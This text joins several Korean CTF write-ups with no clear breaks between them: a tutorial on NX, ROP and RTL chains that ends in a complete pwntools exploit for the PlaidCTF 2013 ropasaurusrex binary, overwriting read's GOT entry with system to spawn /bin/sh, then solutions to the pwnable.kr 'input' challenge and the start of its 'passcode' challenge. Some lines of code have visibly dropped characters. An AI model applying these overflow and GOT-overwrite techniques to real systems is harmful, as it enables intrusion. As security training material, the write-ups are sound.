1. 시작전에..


기초적인 오버플로우를 이용하여 exploit 하는 것은 여러 메모리 기법에 의해 성공시키기 어렵습니다. 

이 때문에 ROP라는 기법을 통해서 exploit을 시도하는데요. 이번에 저도 말로만 들어왔던 ROP에 대해서 한번 알아보았습니다.

제가 참고했던 링크는 https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/ 이 곳의 글을 주로 참고하였고,

사용했던 바이너리는 위 글에서 사용한 예제와 같이 2013년 plaidCTF에서 출제되었던  ropasaurusrex바이너리를 사용하였습니다.



2. 용어


먼저, 이 문제를 풀이하며 필요한 용어와 아이디어를 풀어봅시다!


2-1. NX(No eXecutable)

NX는 위에서 언급했던 메모리 기법 중 하나인데요, 메모리 페이지의 권한을 write권한과 excutable권한을 동시에 갖지 않도록 설정하는 방법입니다.


좀 더 설명을 하자면, 예를 들어 설명하자면 80짜리 버퍼가 있고, 오버플로우를 이용해서 버퍼(스택 공간)에 쉘코드 및 \x90으로 80만큼 채운 후 4바이트 sfp를 덮고, RET자리에 쉘코드 시작 주소를 넣는다고 가정해봅시다.


위의 그림과 같이 가정한대로 오버플로우를 이용해 RET주소를 쉘코드 시작주소로 덮어써주었습니다.

리턴주소가 쉘코드 시작주소로 덮어 써졌으므로 쉘코드가 실행되어 exploit이 가능하겠지요?


여기에 NX가 설정이 되어 있으면, 스택공간에 있는 저 쉘코드에 실행권한이 없어서 RET를 주소로 덮어써주어도!

실행권한이 없기 때문에 실행이 되지 않아 exploit이 불가하다 이런 개념입니다.


2-2) ROP(Return Oriented Programming)

현재 수행 중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜스택의 제어를 통제하는 기술, 실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에 실행가능하다!


[참조] http://shayete.tistory.com/entry/6-Return-Oriented-Programming


위에 써드린 참조 주소에 설명이 매우 잘되어있어요.. 심지어 영상 강의까지 있으니 도움이 많이 되실 듯 합니다.


참고로, 위에서 말한 선별된 기계 명령어 또는 기계 명령어 덩어리를 "가젯(gadget)"이라고 부릅니다.

사실 위에 설명만으로는 너무 추상적인 이야기이기 때문에 감이 잘 안오실껀데..(전 그랬거든요) 직접 어떻게 페이로드가 구성되는 지 보시면 바로 감이 올꺼에요


2-3) RTL Chain(Return To Library Chain)

함수가 호출 되는 과정을 살펴봅시다.

1. 함수 호출 전 스택에 차곡차곡 파라미터들을 push합니다. 

2. 다음 실행 명령어를 스택에 push한 후 해당 함수 주소로 jmp합니다.

3. 스택프레임을 구성하고 함수가 실행됩니다.

4. pop eip를 통해 다음 명령어 주소를 복구하여 다음을 진행합니다.


예를 들어 리턴 주소들(함수 주소들)이 차곡차곡 쌓여있는 아래와 같은 스택이 있다고 생각해봅시다.

"각 함수들이 아무 arguments를 받지 않는다"라고 가정한다면, 해당 스택을 가진 함수가 끝나고나면 RET1의 주소에 있는 함수를 호출 하게 되겠죠?

그리고 그 함수가 끝나고 나면 RET2의 주소에 있는 함수를 호출하게 될거에요, 그리고 그다음엔 RET3...

이렇게 호출하게 되는 이유는 함수 호출 전 다음 실행되는 명령어의 주소가 미리 push되어 있다는 가정하에 pop eip명령어를 통해 프로그램의 흐름을 제어 하기 때문에 이루어지게됩니다. 물론 실제로는 이렇게 구성되는 경우는 없다고 볼 수 있겠지만, 오버플로우가 가능한 상황에 우리가 임의로 이런 스택구조를 만들 수 있습니다.


그렇다면, 이런 스택 구조도 생각해 볼 수 있을거에요

RET1의 주소에 있는 함수가 하나의 argument를 전달받아야 한다면, 위와 같은 방식으로 arg1A값을 넣어서 전달 할 수 있어요,

마찬가지로 RET2의 주소에 있는 함수에 두 개의 arguments를 전달 할 수 있죠, 다만 차이가 있다면 argumnets와 RET주소 사이에 pop을 보셔야합니다.

argument들을 사용하기위해 스택에 쌓았지만 프로그램 흐름을 제어하기 위해서는 RET2를 pop하기 전에 스택에서 사라져 줘야한다는 것이지요

그렇게 하기 위해서 각 각 갯수에 맞추어 pop한 개, pop두 개가 실행 되는 "가젯"들이 필요한거에요.


한 셋트씩 뜯어서 보자면, RET주소 + arguments갯수만큼의 pop + ret하는 가젯의 주소 + arguments 이렇게 한 셋트로 묶어서 생각하시면 됩니다.

이러한 것들을 엮어서 만든 것이 chain 형태처럼 보이나요?


이 "가젯"들은 프로그램 안에 존재하는 것들을 찾아서 써야하고, 이런 가젯들을 찾기위해 여러가지 툴이 있습니다만, 저는 rp를 사용했습니다.

rp : https://github.com/0vercl0k/rp/downloads


RTL은 Return To Library로, 일반적으로 프로그램에서 사용하는 라이브러리안에 있는 함수를 리턴하여 공격하는 방식입니다.

가령 공격할 바이너리에 system함수가 없어도 기본적으로 사용하는 라이브러리안에 system함수가 있기때문에 이 주소를 찾아서 위의 체인안에 주소를 넣어주는 식으로 공격할 수 있습니다.


다만, ASLR(Address Space Layout Randomization)기법이 적용되어있다면 함수들의 주소가 실행 할 때마다 유동적으로 바뀌기 때문에 이 주소를 찾아줘야하는 수고가 필요 할 수 있습니다.


 

3. 분석

실제 예제를 분석해보면서 위에서 살펴본 개념들을 구체화해봅시다.



먼저 바이너리가 어떤상태인지 살펴보니까, elf 32bit바이너리네요. 동적링킹되어있고요.



실행하니까 입력을 받고 그냥 WIN이라는 문자열을 출력하고 끝내네요??



gdb로 열어서 main을 까보려고하니까 심볼테이블이 로드되지 않았다고하네요..

사실 저는 여기서부터 어떻게해야하나 막막했는데, 이럴땐 main의 주소를 알아내서 시작할 수 있습니다. IDA로 열어보면!



main을 찾을수 있죠? 그리고 옆엔 주소를 알수 있자나여?? 이 주소로 gdb로 까보면 까볼 수 있다 이겁니다.



짠! 요렇게요. 기왕 IDA로 열어봤으니까 짱짱좋은 hex-ray가지고 분석을 좀더 해보자고여.


디스어셈블했을 때도 알 수 있는 있지만, main은 별게 없어요. 어떤 함수 하나를 호출 한 다음에 그저 WIN이라는 문자열을 write함수를 통해

출력해줄 뿐이죠.


원래 저 함수는 임의의 문자열로 되어있는데 저는 분석하기 편하도록 vulnFunc라는 이름으로 수정해주었습니다.

그럼 vulnFunc함수를 볼까요?


 

첫 번째 라인에서 char buf; // [sp+10h] [bp-88h]@1 로 버퍼의 사이즈가 스택에 0x88만큼 할당이 되고 있는 것을 알 수 있고,

두 번째 라인에서 return read(0, &buf, 0x100u); , read함수를 통해 표준입력으로 0x100만큼 입력을 받고 있는 것을 볼 수 있죠?

여기서 BOF를 이용해 스택을 조작할 수 있겠습니다.


0x88은 십진수로 136이잖아요? 그렇다면 vulnfunc함수 안에서 스택의 모양은 아래 처럼 예상해 볼 수 있을 거에요


우린 여기서 RET를 덮어서 RTL Chain을 엮어가지고 exploit을 할꺼잖아요? 구체적으로 어떻게 하면 좋을 지, 거기엔 무엇이 필요한 지 한번

봅시다.


우선, 우리가 호출하고 싶은 건 system("/bin/sh"); 잖아요?

"/bin/sh" 문자열은 프로그램 내에 없을 테니까 이 문자열을 어딘가에 임의로 써주어야겠죠?


그리고 system()의 주소가 필요하죠. 여기서는 서버에 aslr환경이 적용되어있다고 가정 하여 실행 시 주소가 매번 변경된다고 가정하겠습니다.

즉, 그냥 system()의 주소가 필요한 것이 아니라 바이너리를 실행할 당시의 system()주소가 필요합니다.


근데 프로그램 내부에서는 system함수를 쓰고있지 않기 때문에 프로그램에서 사용하는 read함수 주소(got주소)를 얻어내서 offset을 계산 한 후

이 offset을 이용해서 system함수의 주소(got주소)를 읽어와야합니다.


got에 대한 내용은 아래를 참조해주세요.


PLT와 GOT자세히 알기-1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT자세히 알기-2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


메모리에서 어떤 값을 써주어야하고, 읽어와야하기 때문에 read, write함수를 써야할거에여. read, write를 호출하려면 read, write의 plt주소를 알아와야해요. 알아온 주소로 chain을 구성할 수 있을거에요. 


read와 write는 모두 인자를 3개를 받고 있기 때문에, pop pop pop ret; 형태의 가젯의 주소 또한 필요하겠네요!


read / write를 연달아 호출하는 RTL Chain은 아래와 비슷한 형태가 되겠지요


그렇다면 결론적으로 필요한 것이 어떤 것들이 있는 지 정리를 해보고 필요한 것들을 모아봅시다.


1. read / write의 plt

2. pop을 세 번한 후 ret하는 가젯

3. 프로그램 실행 당시의 system함수의 got

4. 메모리에 "/bin/sh" 문자열을 써야함



익스플로잇 코드는 pwntools모듈을 통해 짜볼껀데, 여기에 plt와 got를 한방에 알아내는 아주 좋은 기능이 있으니 1번은 생략합시다.

가젯은 위에서 얘기한데로 rp를 이용해서 찾아볼거에여

rp -f [file path] -r [gadget`s maximun size] 로 사용할 수 있으니, 우리는


rp -f ./ropasaurusrex -r 4 로 실행을 해보면!!


결과 중 빨간 네모칸에 보이는 저 가젯을 찾을 수 있습니다. 


전 처음에 이 가젯을 보고 ebp값을 건드리기 때문에 스택프레임이 깨지면서 segfault가 나지 않을까 고민을 곰곰히 해봤는데, 어차피 chain을 통해 계속 스택프레임이 재구성되기 때문에 문제가 없을 거라는 결론을 내렸고 실제로도 이상이 없었어요.


자자 그럼 가젯도 모았고, 이제 프로그램 실행 당시의 system함수의 got는 어찌 구하느냐!

요건 미리 돌려보고 기준점을 삼을 함수를 하나 선정해서 offset을 계산해야해요, 전 read의 got를 기준으로 잡았고 이것으로 offset을 계산을 할거에요.



※프로그램을 실행해야 테이블이 로드되면서 주소를 알 수 있어요. 적당한 곳에 브레이크 포인트를 잡고 실행 한 후 찾아주세요.


빨간 네모친 부분에 read / system 함수의 got주소가 있죠? offset은 0xf7ec4c60(read) - 0xf7e28b40(system) = 0x9c120 이 되겠네요!

마지막으로 system함수의 인자로 필요한 "/bin/sh"문자열을 쓰는건 RTL Chain을 이용해서 쓰도록 해야할텐데, 기본적으로 data나 bss영역에 쓴다고 하던데.. 



위에 그림은 objdump - x ./ropasaurusrex  로 섹션정보를 출력한거에요.


첫 번째로 나오는 놈이 사이즈인데 23. data섹션과 24. bss섹션은 8바이트밖에 안되져 ㅠㅠ 너무작아서 쓰기 힘들 것 같습니다. 

20. dynamic 섹션은 다이나믹 링킹과정에 필요한 섹션이라고 하는데.. 여기서는 건드려도 무방하다고만 알고있어요... elf구조는 아직 뜯어보지 못하여서 잘모르겠습니다.


어쨌든! dynamic 섹션에 쓰면 될 거 같고, 요 섹션의 주소 또한 pwntools에서 쉽게 얻어낼 수 있습니다.


그럼 이제 어떻게 익스플로잇을 하는 지 코드를 한번 볼까요?


4. exploit

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from pwn import *
proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
 
binsh = "/bin/sh"
 
#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]
 
#real address of read func - real address of system func
offset = 0x9c120
 
#080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x080484b6
 
#payload
#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))
 
#step 2. reading address of read`s got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)
 
proc.send(payload + "\n")
proc.send(binsh)
 
read_address = proc.recv(4)
system_address = u32(read_address) - offset
 
log.info("read address   = %x" % u32(read_address))
log.info("system address = %x" % system_address)
 
proc.send(p32(system_address))
 
log.info("Exploit is Success!!")
proc.interactive()



항상 그래왔듯이 결과부터 보자구여!

proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

이 줄은 바이너리를 실행 해서 프로세스를 생성하는 줄이에요


= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

해당 파일을 elf format으로 읽어주는 줄이고,


#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]


이 부분에서 pwntools의 파워풀함을 알 수 있죠, 위처럼 elf로 파일을 읽으면 각 섹션주소와 plt와 got의 주소를 한방에 알아낼 수 있습니다.

그 아래에서는 우리가 찾아낸 offset과 가젯의 주소를 선언해 주었습니다.


페이로드가 만들어지는 부분을 살펴볼까요?


#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))


스텝 1에서는 read 함수를 이용해서 "/bin/sh"문자열을 .dynamic section에 써주는 부분이에요, 먼저 BOF를 내기위해 더미 140바이트(buf size(0x88, 136) + sfp(4))를 써주었고,

리턴 주소를 read의 plt로 덮어주어서 read함수를 호출했어요, 그리고 인자정리를 위한 pppr을 넣어주고 "/bin/sh"를 입력해주기 위해 stdin의 fd인 0을 넣어주었습니다.

그리고 ds_section의 주소를 넣어주고, "/bin/sh"문자열의 length를 넣어주었죠


#step 2. reading address of read`s got

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 2에서는 같은 형식으로 표준 출력으로 read의 got주소를 출력해주게 했어요 프로그램 실행당시의 주소를 알아야하기때문에 이렇게 알아낸거죠 


※위처럼 표준 입출력을 통해 프로세스와 인터렉션하는 부분은 아래에 나와요, 페이로드에서는 인터렉션을 하기 위한 구조(?)를 만든다고 생각하시면 됩니다.


#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 3에서는 스텝 2에서 알아낸 read함수의 got주소를 가지고 offset으로 계산한 후 전달한 system함수의 got주소를 read함수의 got에 덮어쓰는 부분이에요, 덮어 쓴다음에 read함수를 호출하면 system함수가 호출되게 하기 위해서에요


#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)


스텝 4에서는 read함수를 호출하는데, 인자로 ds_section의 주소 즉, "/bin/sh"를 전달해요, 인자 전달전에 중간에 더미로 0xaaaabbbb를 전달해서 구조를 맞춰 줍니다.



5. 결과


이제야 ROP가 뭔지 개념정도는 알게 된거 같네요, 익숙해지도록 다른 문제들도 열심히 풀어봐야겠습니다!

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  1. nop 2019.05.07 17:58

    read나 write는 안그러는데 왜 system() 만 offset으로 접근하나요?

1. 문제확인



Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)


엄마~ 프로그램에 어떻게 내 입력이 통과 할 수 있어여? 하고 물어보고있어여

엄마는 아니지만 문제를 한번 봅시댱



2. 문제 코드 분석


2-1) main()

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");
 
        // argv
        if(argc != 100return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");
 
        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
        printf("Stage 2 clear!\n");
 
        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");
 
        // file
        FILE* fp = fopen("\x0a""r");
        if(!fp) return 0;
        if( fread(buf, 41, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");
 
        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 40!= 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
        printf("Stage 5 clear!\n");
 
        // here's your flag
        system("/bin/cat flag");
        return 0;
}



이번 문제는 메인함수밖에 없는데 지금까지 본 것들이랑 비교해서 더럽게 길었어여 ㅠㅠ

구성을 보니까 이번 문제를 풀려면 다섯가지 스테이지를 풀어야하는거 같네여


각 스테이지 별로 물어보는 항목을 정리하면!


1번 Stage는 프로그램 실행할 때 인자가 어떻게 들어가는지를 알고있냐? 

2번 Stage는 pwnable.kr fd문제처럼 file descriptor번호 알아?

3번 Stage는 프로그램 실행할 때 환경변수 줄 수 있냐?

4번 Stage는 프로그래밍으로 파일 핸들링할 수 있음?

5번 Stage는 소켓 통신 할 줄 암?


소스가 길어서 한번에 보기 힘드니까 스테이지 별로 짤라서 볼께여 ㄱㄱ



2-1) Stage 1

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int main(int argc, char* argv[], char* envp[]){
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");
 
    return 0;
}



argc에는 ./input 과 같은 실행명령어를 포함해서 인자의 갯수가 들어있어여

argv는 char *형 배열인데, 인자가 각각 들어있고여, 가장 첫 번째에는 실행명령어가 들어있어여

예를 들어서 ./input aaa bbb 라고 실행을 하면


argc == 3

argv[0] == "./input"

argv[1] == "aaa"

argv[2] == "bbb" 가 되겠져?!


envp에는 프로그램을 실행할 때 로드하는 환경변수들이 들어있는데 얘는 카운트를 가지고있지를 않아여ㅠ

대신 배열요소의 끝검사를 NULL로하면 하나씩 다 뿌려볼 수 있답니당


여하튼! 

스테이지 1번을 풀려면 argc의 갯수를 100개로 맞추면서 argv['A'] 그러니까 argv[65]번째 인자엔 \x00이 있어야하고

argv[66]에는 \x20\x0a\x0d가 있으면 클리어 할 수 있을꺼에여 어렵지 않져?



2-1) Stage 2

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int main(int argc, char* argv[], char* envp[]){
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
        
    read(2, buf, 4);    
    if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
 
    printf("Stage 2 clear!\n");
 
    return 0;
}



스테이지 2를 풀려면 read함수랑 파일디스크립터 번호를 알아야되여 ㅠㅠ


read함수 원형은


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ssize_t read(int fd, void *buf, size_t nbytes);                            



요렇게 생긴놈입니당! 리턴타입 ssize_t는 size_t는 우선은 그냥 int형으로 생각하고 푸셔도

문제푸는데에는 지장이 없어영 하지만! 자세히 알고싶으시다면 아래 링크를 한번 살펴보세욥


당연하지만 간과하는 size_t ssize_t

- http://lacti.me/2011/01/08/different-between-size-t-ssize-t/ 


read는 파일디스크립터 번호를 받아서 지정한 바이트만큼 버퍼에 읽어오는 함수에여

여기서 예약되어있는 파일디스크립터 넘버를 몇 개 살펴보쟈규여


0 : stdin

1 : stdout

2 : stderr


얘네들을 이용하면 콘솔 I/O랑 에러났을 때 발생 한 값들을 read 할 수 있을거에여

문제에서는 0번이랑 2번 썼으니까 입력 / 에러발생에서 4바이트씩 읽어오겠져!



2-4) Stage 3

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int main(int argc, char* argv[], char* envp[]){
        
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    return 0;
}



스테이지3은 환경변수에 \xde\xad\xbe\xef항목에 \xca\xfe\xba\xbe값만 셋팅해주면 문제가 없어보여여 


2-5) Stage 4

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int main(int argc, char* argv[], char* envp[]){
                
    // file
    FILE* fp = fopen("\x0a""r");    
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
        
    printf("Stage 4 clear!\n");
 
    return 0;
}



스테이지 4는 파일을 열어서 맨앞에서 네바이트를 읽고 \x00\x00\x00\x00값인지 체크하고있는데

파일이름이 \x0a에여 ㅠㅠ 콘솔에서 만들순 엄꾸.. fopen같은 함수를 써서 만들어줘야겠어여


2-6) Stage 5

드뎌 마지막 스테이지 5를 봅시당


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int main(int argc, char* argv[], char* envp[]){
                        
    // network    
    int sd, cd;
  
    struct sockaddr_in saddr, caddr;        
    sd = socket(AF_INET, SOCK_STREAM, 0);        
    if(sd == -1){                
        printf("socket error, tell admin\n");                
        return 0;        
    }
    
    saddr.sin_family = AF_INET;        
    saddr.sin_addr.s_addr = INADDR_ANY;        
    saddr.sin_port = htons( atoi(argv['C']) );
        
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){                
        printf("bind error, use another port\n");               
        return 1;        
    }
        
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);        
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        
    if(cd < 0){                
        printf("accept error, tell admin\n");               
        return 0;        
    }
        
    if( recv(cd, buf, 40!= 4 ) return 0;        
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;        
    printf("Stage 5 clear!\n");
 
    return 0;
}




어휴; 뭐 땀시 이렇게 소스가 길었나 했더니 스테이지 5때문이네여;;

하나하나 다 뜯어보고 설명하면 좋지만 양이 넘나 많네여 ㅠ 잘 모르시거나 생소하신 분들은 링크 걸어드릴게여


[소켓]3. 함수와 구조체 설명!

http://rotapple.tistory.com/8 


흐름만 간략히 파악하고 가면 실행할 때 던져주는 인자 중에 argv['C'] 요놈 그러니까 argv[67] 에 있는 값을 포트로해서

소켓을 열꺼에여 그리구 그 소켓에서 네 바이트를 받아서 \xde\xad\xbe\xef값이 들어오면 클리어!


3. 익스플로잇 코드


이번 문제를 풀려면 간단한 입력만으로는 안끝나여 ㅠㅠ 

파일을 핸들링하거나 소켓으로 데이터를 쏘거나 해야해서 짧게나마 코드를 작성해서 풀어야할꺼에여

이 문제 푸신 분들이 거의 c로 작성해서 푸셨더라고여? 그래서 저는 파이썬으로 도전해보려고 쌩파이썬으로 도전했는데

생각보다 너무 안풀리고 의도랑 다르게 돌아가는 바람에 ㅠ

파이썬으로 짠 코드를 컨닝하려고 하는 도중!! pwntools라는 걸 알게됐어여


기능이 무궁무진한거 같긴한데 이번 포스팅에서 한번에 다룰순 없을거 같고 요번에 쓴거 위주로만 썰풀어볼게여

일단 결과코드부터 ㄱㄱ


아 코드는 이 분 블로그를 참조했어여!  

http://gmltnscv.tistory.com/27


그리구 문제풀려고 서버에 접속하면 홈디렉터리에서는 코드를 작성할 수가 없어여 ㅠㅠ

/tmp 아래에 자기 폴더를 하나 뙇 만들어주고 작업을 하시면 됩니당


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from pwn import *
 
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
with open('./stderr_file''a') as f:
    f.write('\x00\x0a\x02\xff')
 
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
argvs[ord('C')] = '99999'
 
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr_file'), env=envVal)
target.sendline('\x00\x0a\x00\xff')
 
conn = remote('localhost'99999)
conn.send('\xde\xad\xbe\xef')
target.interactive()                                                 



첫 번째 줄 from pwn import * 에서 pwntools를 임포트하고이써여 물론! 임포트하려면 설치를 해야겠져?


설치 방법은

apt-get install python2.7 python2.7-dev python-pip

pip install pwntools

apt-get install libcapstone-dev


뙇 치면 설치가 뙇!! 후하


별 이상 없이 설치가 되셨다면 뒷부분 이어서 ㄱㄱ할게여


3 ~ 5라인은 스테이지 1번을 위한 부분이에여

3라인에서 argvs를 선언해서 0부터 99까지 문자열로 만들었어여

4, 5라인에서는 ord()함수를 통해서 문자를 정수형으로 바꿔준담에 스테이지1에서 원하는 값들로 값들을 바꿔줬지영


7~8라인은 스테이지 2를 풀기위한 부분이에여 stderr_file이라는 파일을 만들어서 문제에서 요하는(stderr일 때)값을 썼어여

with 문을 써서 열면 따로 닫아줄 필요가 없다는 사실!

18라인에서 stdin을 해주려고 sendline을 써서 값을 넣어줬어여



10라인에 envVal은 환경 변수를 선언했어여 이따가 실행할 때 넘겨주면 뙇! 하고 스테이지 3을 풀 수 있어여 


12 ~ 13라인은 스테이지 4에서 파일 열어서 값읽어보는거 있었짜나여? 그거 때매 같은이름으로 파일 열어서 값써준검미다.


15 라인에서 어디 포트로 쏠껀지 인자에 포트번호 써준 담에

20라인에서 연결하고!

21라인에서 값을 뙇 하고 쏴줌으로써 스테이지 5도 해결이되지욥


17라인이 이 모든 셋팅을 마치고 실행하는 부분이에여 executable에서 실행할 바이너리 주소, argv에 전달할 인자,

stderr에서 stderr일 때 할 행위가 들어가있고, 환경변수까지 전달을 해줬어여



다 작성을 마치고 기쁜마음으로 뙇 돌리면!!!!



안나와여 플래그가 ㅠㅠㅠㅠㅠ


아 읽어줄 플래그가 엄꾸나! 근데.... 퍼미션때매 카피도안되고ㅠㅠ..


그래서 심볼릭 링크를 걸어줍니다 헤헷


그리고 다시 한번 돌리면!!


뙇 하고 성공했어여ㅋㅋ


이번 문제는 요구하는 것들이 어렵지는 않았는데 익스플로잇코드를 처음 짜본..터라 쉽지는 않았던거 같아여 ㅠㅠ

그래도 덕분에 pwntools라는 툴도 알게됐으니~~ 다음부턴 아주 요긴하게 써먹어야겠쯥니당 ! 이상!


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1. 문제확인





Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


문제를 대충 해석해보면, 

엄마가 패스워드 넣는 로그인시스템을 만들어보라고 말했어~

내 초기 C코드는 에러없이 컴파일이 되었지!

뭐 워닝이 쫌있긴했는데 누가신경쓰겠냐? 라고 하고 있습니다.


우선 주어진 접속정보로 서버에 접속해서 passcode.c를 봐야겠네여



2. 문제 코드 분석


아래는 문제로 주어진 passcode.c에여


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#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}



2-1) main()

프로그램 실행에 필요한 인자는 특별히 없어보이네여?

가장 먼저, Toddler`s Secure Login System 1.0 beta. 라는 문자열을 출력한 후

welcome, login을 순차적으로 호출 하고

Now I can safely trust you that you have credential :) 출력해주면 프로그램이 끝나고있어여


2-2) welcome()

welcome함수에서는 이름을 입력받기위해 char 배열 100바이트짜리가 하나 선언이 되어 있어여

enter you name : 에 맞추어 이름을 입력하면,

Welcome [입력한 이름]! 을 출력해줍니다. 여기서 %100s로 100바이트만 받는 다는 점만 인지해두세여


2-3) login()

login 함수에서는 패스워드를 입력 받고 인증에 성공하면 플래그를 읽어주는 의도로 만들고 싶었던 것 같은 소스를 볼 수 있어여

꼼꼼하신 분이라면 바로 이상한 점을 아실 수 있겠져? scanf에서 입력을 받는 변수에 &가 빠져있어여 ㅠㅠ

그리고 리눅스에서는 제대로 동작 하지 않는 것으로 알고 있는뎅, passcode1을 입력 받은 다음 입력버퍼를 날려주는 fflush()를 호출하고 있어여


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void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d"&passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d"&passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    }
 
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}



